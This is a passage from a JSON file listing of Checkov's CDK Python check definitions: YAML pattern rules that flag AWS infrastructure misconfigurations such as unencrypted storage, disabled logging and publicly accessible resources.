    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_174\n  name: Verify CloudFront Distribution Viewer Certificate is using TLS v1.2\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(<ANY>, viewer_certificate=aws_cdk.aws_cloudfront.CfnDistribution.ViewerCertificateProperty(<ANY>, minimum_protocol_version='TLSv1.2' ,<ANY>) ,<ANY>) ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudTrailLogValidation.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_36\n  name: Ensure CloudTrail log file validation is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudtrail.CfnTrail(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_cloudtrail.CfnTrail(<ANY>, enable_log_file_validation=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudWatchLogGroupKMSKey.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_158\n  name: Ensure that CloudWatch Log Group is encrypted by KMS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_logs.LogGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_logs.LogGroup(<ANY>, kms_key=$KEY, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudWatchLogGroupRetention.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_66\n  name: Ensure that CloudWatch Log Group specifies retention days\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_logs.CfnLogGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_logs.CfnLogGroup(<ANY>, retention_in_days=$NUM ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudfrontDistributionEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_34\n  name: Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(<ANY>, default_cache_behavior=aws_cdk.aws_cloudfront.CfnDistribution.DefaultCacheBehaviorProperty(<ANY>,viewer_protocol_policy='allow-all' ,<ANY>) ,<ANY>) , <ANY>)\n      - pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(<ANY>,cache_behaviors=[<ANY>,aws_cdk.aws_cloudfront.CfnDistribution.CacheBehaviorProperty(<ANY>, viewer_protocol_policy='allow-all' ,<ANY>) ,<ANY>] ,<ANY>) ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudfrontDistributionLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_86\n  name: Ensure CloudFront distribution has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(<ANY>, logging=aws_cdk.aws_cloudfront.CfnDistribution.LoggingProperty(<ANY>, bucket=$ARG ,<ANY>) ,<ANY>) ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudtrailEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_35\n  name: Ensure CloudTrail logs are encrypted at rest using KMS CMKs\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudtrail.CfnTrail(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_cloudtrail.CfnTrail(<ANY>, kms_key_id=$ARG ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudtrailMultiRegion.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_67\n  name: Ensure CloudTrail is enabled in all Regions\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudtrail.Trail(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_cloudtrail.Trail(<ANY>, is_multi_region_trail=True ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CodeBuildProjectEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_78\n  name: Ensure that CodeBuild Project encryption is not disabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_codebuild.Project(<ANY>, artifacts=aws_cdk.aws_codebuild.Artifacts(<ANY>, type=aws_cdk.aws_codebuild.ArtifactsType.S3, <ANY>, encryption_disabled=True, <ANY>) , <ANY>)\n      - pattern: aws_cdk.aws_codebuild.Project(<ANY>, artifacts=aws_cdk.aws_codebuild.Artifacts(<ANY>, encryption_disabled=True, <ANY>, type=aws_cdk.aws_codebuild.ArtifactsType.S3, <ANY>) , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/DAXEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_47\n  name: Ensure DAX is encrypted at rest (default is unencrypted)\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_dax.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_dax.CfnCluster(<ANY>, sse_specification=aws_cdk.aws_dax.CfnCluster.SSESpecificationProperty(<ANY>, enabled=True , <ANY>), <ANY>)\n    - not_pattern: |\n        $P = aws_cdk.aws_dax.CfnCluster.SSESpecificationProperty(<ANY>, enabled=True , <ANY>)\n        <ANY>\n        aws_cdk.aws_dax.CfnCluster(sse_specification=$P)"
  },
  {
    "path": "checkov/cdk/checks/python/DMSReplicationInstancePubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_89\n  name: DMS replication instance should not be publicly accessible\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_dms.ReplicationInstance(<ANY>, publicly_accessible=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/DocDBAuditLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_104\n  name: Ensure DocumentDB has audit logs enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_docdb.CfnDBClusterParameterGroup(<ANY>)\n  conditions:\n    - not_pattern: 'aws_cdk.aws_docdb.CfnDBClusterParameterGroup(<ANY>, parameters={<ANY>, \"audit_logs\": \"enabled\" , <ANY>} , <ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/python/DocDBEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_74\n  name: Ensure DocumentDB is encrypted at rest (default is unencrypted)\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_docdb.CfnDBCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_neptune.CfnDBCluster(<ANY>, storage_encrypted=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/DocDBTLS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_90\n  name: Ensure DocumentDB TLS is not disabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: |\n      aws_cdk.aws_docdb.CfnDBClusterParameterGroup(<ANY>, parameters={'tls': 'disabled'} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/DynamodbGlobalTableRecovery.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_165\n  name: Ensure DynamoDB global table point in time recovery (backup) is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_dynamodb.CfnGlobalTable(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_dynamodb.CfnGlobalTable(<ANY>, replicas=[<ANY>, aws_cdk.aws_dynamodb.CfnGlobalTable.ReplicaSpecificationProperty(<ANY>, point_in_time_recovery_specification=aws_cdk.aws_dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty(point_in_time_recovery_enabled=True) , <ANY>) , <ANY>], <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/DynamodbRecovery.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_28\n  name: Ensure DynamoDB point-in-time recovery (backup) is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_dynamodb.Table(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_dynamodb.Table(<ANY>, point_in_time_recovery=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/EBSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_3\n  name: Ensure all data stored in the EBS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_ec2.Volume(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_ec2.Volume(<ANY>, encrypted=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/EC2PublicIP.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_88\n  name: EC2 instance should not have public IP\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: | \n          aws_cdk.aws_ec2.CfnInstance(<ANY>, network_interfaces=[<ANY>, {'associate_public_ip_address': True} ,<ANY>] ,<ANY>)\n      - pattern: | \n          aws_cdk.aws_ec2.CfnLaunchTemplate(<ANY>, launch_template_data={'network_interfaces':[<ANY>, {'associate_public_ip_address': True} ,<ANY>]} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ECRImageScanning.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_163\n  name: Ensure ECR image scanning on push is enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_ecr.Repository(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_ecr.Repository(<ANY>, image_scan_on_push=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ECRImmutableTags.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_51\n  name: Ensure ECR Image Tags are immutable\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_ecr.Repository(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_ecr.Repository(<ANY>, image_tag_mutability=aws_cdk.aws_ecr.TagMutability.IMMUTABLE, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ECRRepositoryEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_136\n  name: Ensure that ECR repositories are encrypted using KMS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_ecr.CfnRepository(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_ecr.CfnRepository(<ANY>, encryption_configuration={'encryptionType': 'KMS'} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ECSClusterContainerInsights.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_65\n  name: Ensure container insights are enabled on ECS cluster\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_ecs.CfnCluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_ecs.CfnCluster(<ANY>, cluster_settings=[<ANY>, {'name': 'containerInsights', 'value': 'enabled'} ,<ANY>], <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_ecs.CfnCluster(<ANY>, cluster_settings=[<ANY>, {'value': 'enabled', 'name': 'containerInsights'} ,<ANY>], <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_ecs.CfnCluster(<ANY>, cluster_settings=[<ANY>, {'name': 'containerInsights', 'value': 'enhanced'} ,<ANY>], <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_ecs.CfnCluster(<ANY>, cluster_settings=[<ANY>, {'value': 'enhanced', 'name': 'containerInsights'} ,<ANY>], <ANY>)\n      - pattern: aws_cdk.aws_ecs.Cluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_ecs.Cluster(<ANY>, container_insights=True, <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_ecs.Cluster(<ANY>, container_insights_v2=aws_ecs.ContainerInsights.ENABLED, <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_ecs.Cluster(<ANY>, container_insights_v2=aws_ecs.ContainerInsights.ENHANCED, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/ECSTaskDefinitionEFSVolumeEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_97\n  name: Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: |\n      aws_cdk.aws_ecs.CfnTaskDefinition(<ANY>, volumes=[<ANY>, {'efs_volume_configuration':{'transit_encryption': 'DISABLED'}} ,<ANY>] ,<ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/EFSEncryptionEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_42\n  name: Ensure EFS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_efs.FileSystem(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_efs.FileSystem(<ANY>, encrypted=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/EKSSecretsEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_58\n  name: Ensure EKS Cluster has Secrets Encryption Enabled\n  category: KUBERNETES\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_eks.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_eks.CfnCluster(<ANY>, encryption_config=[<ANY>, {'resources':[<ANY>, 'secrets' ,<ANY>]} ,<ANY>] , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ELBAccessLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_92\n  name: Ensure the ELB has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer(<ANY>, access_logging_policy=aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer.AccessLoggingPolicyProperty(<ANY>, enabled=True ,<ANY>) ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ELBv2AccessLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_91\n  name: Ensure the ELBv2 (Application/Network) has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, load_balancer_attributes=[<ANY>, aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer.LoadBalancerAttributeProperty(<ANY>, key=\"access_logs.s3.enabled\", <ANY>, value=\"true\", <ANY>) ,<ANY>] ,<ANY>)\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, load_balancer_attributes=[<ANY>, aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer.LoadBalancerAttributeProperty(<ANY>, value=\"true\", <ANY>, key=\"access_logs.s3.enabled\", <ANY>) ,<ANY>] ,<ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtRest.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_29\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>, at_rest_encryption_enabled=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtTransit.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_30\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>, transit_encryption_enabled=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_31\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>, transit_encryption_enabled=True ,<ANY>, auth_token=$ARG, <ANY>)\n    - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(<ANY>, auth_token=$ARG ,<ANY>, transit_encryption_enabled=True, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticsearchDomainEnforceHTTPS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_83\n  name: Ensure Elasticsearch Domain enforces HTTPS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticsearch.CfnDomain(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticsearch.CfnDomain(<ANY>, domain_endpoint_options=aws_cdk.aws_elasticsearch.CfnDomain.DomainEndpointOptionsProperty(<ANY>, enforce_https=True , <ANY>) , <ANY>)\n    - not_pattern: |\n        $P = aws_cdk.aws_elasticsearch.CfnDomain.DomainEndpointOptionsProperty(<ANY>, enforce_https=True , <ANY>)\n        <ANY>\n        aws_cdk.aws_elasticsearch.CfnDomain(<ANY>, domain_endpoint_options=$P , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticsearchDomainLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_84\n  name: Ensure Elasticsearch Domain Logging is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_elasticsearch.CfnDomain(<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_elasticsearch.CfnDomain(<ANY>, log_publishing_options={'logPublishingOptionsKey': aws_cdk.aws_elasticsearch.CfnDomain.LogPublishingOptionProperty(<ANY>, enabled=True ,<ANY>)} ,<ANY>)\n      - pattern: aws_cdk.aws_opensearchservice.CfnDomain(<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_opensearchservice.CfnDomain(<ANY>, log_publishing_options={'logPublishingOptionsKey': aws_cdk.aws_opensearchservice.CfnDomain.LogPublishingOptionProperty(<ANY>, enabled=True ,<ANY>)} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticsearchEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_5\n  name: Ensure all data stored in the Elasticsearch is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticsearch.CfnDomain(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_elasticsearch.CfnDomain(<ANY>, encryption_at_rest_options={'enabled': True} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ElasticsearchNodeToNodeEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_6\n  name: Ensure all Elasticsearch has node-to-node encryption enabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticsearch.CfnDomain(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_elasticsearch.CfnDomain(<ANY>, node_to_node_encryption_options={'enabled': True} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_94\n  name: Ensure Glue Data Catalog Encryption is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_glue.CfnDataCatalogEncryptionSettings(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_glue.CfnDataCatalogEncryptionSettings(<ANY>, data_catalog_encryption_settings={'ConnectionPasswordEncryption':{'ReturnConnectionPasswordEncrypted': True}, 'EncryptionAtRest':{'CatalogEncryptionMode': 'SSE-KMS'}} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/GlueSecurityConfiguration.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_99\n  name: Ensure Glue Security Configuration Encryption is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_glue.CfnSecurityConfiguration(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_glue.CfnSecurityConfiguration(<ANY>, encryption_configuration={'CloudWatchEncryption': {'CloudWatchEncryptionMode': 'SSE-KMS'}, 'JobBookmarksEncryption': {'JobBookmarksEncryptionMode': 'CSE-KMS'}, 'S3Encryptions': [<ANY>,{'S3EncryptionMode': 'SSE-KMS'}, <ANY>]}, <ANY>)\n    - not_pattern: |\n        aws_cdk.aws_glue.CfnSecurityConfiguration(<ANY>, encryption_configuration={'CloudWatchEncryption': {'CloudWatchEncryptionMode': 'SSE-KMS'}, 'JobBookmarksEncryption': {'JobBookmarksEncryptionMode': 'CSE-KMS'}, 'S3Encryptions': [<ANY>,{'S3EncryptionMode': 'SSE-S3'}, <ANY>]}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/GlueSecurityConfigurationEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_195\n  name: Ensure Glue component has a security configuration associated\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_glue.CfnCrawler(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_glue.CfnCrawler(<ANY>, crawler_security_configuration=$CON , <ANY>)\n      - pattern: aws_cdk.aws_glue.CfnDevEndpoint(<ANY>)\n        conditions:\n          not_pattern: aws_cdk.aws_glue.CfnDevEndpoint(<ANY>, security_configuration=$VAL , <ANY>)\n      - pattern: aws_cdk.aws_glue.CfnJob(<ANY>)\n        conditions:\n          not_pattern: aws_cdk.aws_glue.CfnJob(<ANY>, security_configuration=$VAL , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/IAMPolicyAttachedToGroupOrRoles.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_40\n  name: Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)\n  category: IAM\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_iam.Policy(<ANY>, users=[<ANY>], <ANY>)\n      - pattern: |\n          $P = aws_cdk.aws_iam.Policy(<ANY>)\n          <ANY>\n          $P.attachToUser(<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/KinesisStreamEncryptionType.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_43\n  name: Ensure Kinesis Stream is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_kinesis.CfnStream(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_kinesis.CfnStream(<ANY>, stream_encryption={<ANY>, \"encryption_type\": \"KMS\", <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LambdaDLQConfigured.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_116\n  name: Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_lambda.Function(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_lambda.Function(<ANY>, dead_letter_queue=$ARG, <ANY>)\n      - pattern: aws_cdk.aws_lambda.CfnFunction(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_lambda.CfnFunction(<ANY>, dead_letter_config=$ARG, <ANY>)\n      - pattern: aws_cdk.aws_sam.CfnFunction(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sam.CfnFunction(<ANY>, dead_letter_queue=$ARG, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LambdaEnvironmentCredentials.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_45\n  name: Ensure no hard-coded secrets exist in lambda environment\n  category: SECRETS\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: |\n            aws_cdk.aws_lambda.Function(<ANY>, environment={'$ARG1':'$ARG2'} ,<ANY>)\n      - pattern: |\n            aws_cdk.aws_sam.CfnFunction(<ANY>, environment={'$ARG1':'$ARG2'} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LambdaEnvironmentEncryptionSettings.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_173\n  name: Check encryption settings for Lambda environmental variable\n  category: Encryption\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_lambda.Function(<ANY>, environment={$ARG1:$ARG2} ,<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_lambda.Function(<ANY>, environment={$ARG1:$ARG2} ,<ANY>, kms_key=aws_cdk.aws_lambda.Key.from_key_arn(<ANY>), <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_lambda.Function(<ANY>, kms_key=aws_cdk.aws_lambda.Key.from_key_arn(<ANY>) ,<ANY>, environment={$ARG1:$ARG2} , <ANY>)\n      - pattern: aws_cdk.aws_sam.CfnFunction(<ANY>, environment={$ARG1:$ARG2} ,<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_sam.CfnFunction(<ANY>, environment={$ARG1:$ARG2} ,<ANY>, kms_key_arn=$ARG, <ANY>)\n          - not_pattern: |\n              aws_cdk.aws_sam.CfnFunction(<ANY>, kms_key_arn=$ARG ,<ANY>, environment={$ARG1:$ARG2} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LambdaFunctionLevelConcurrentExecutionLimit.yaml",
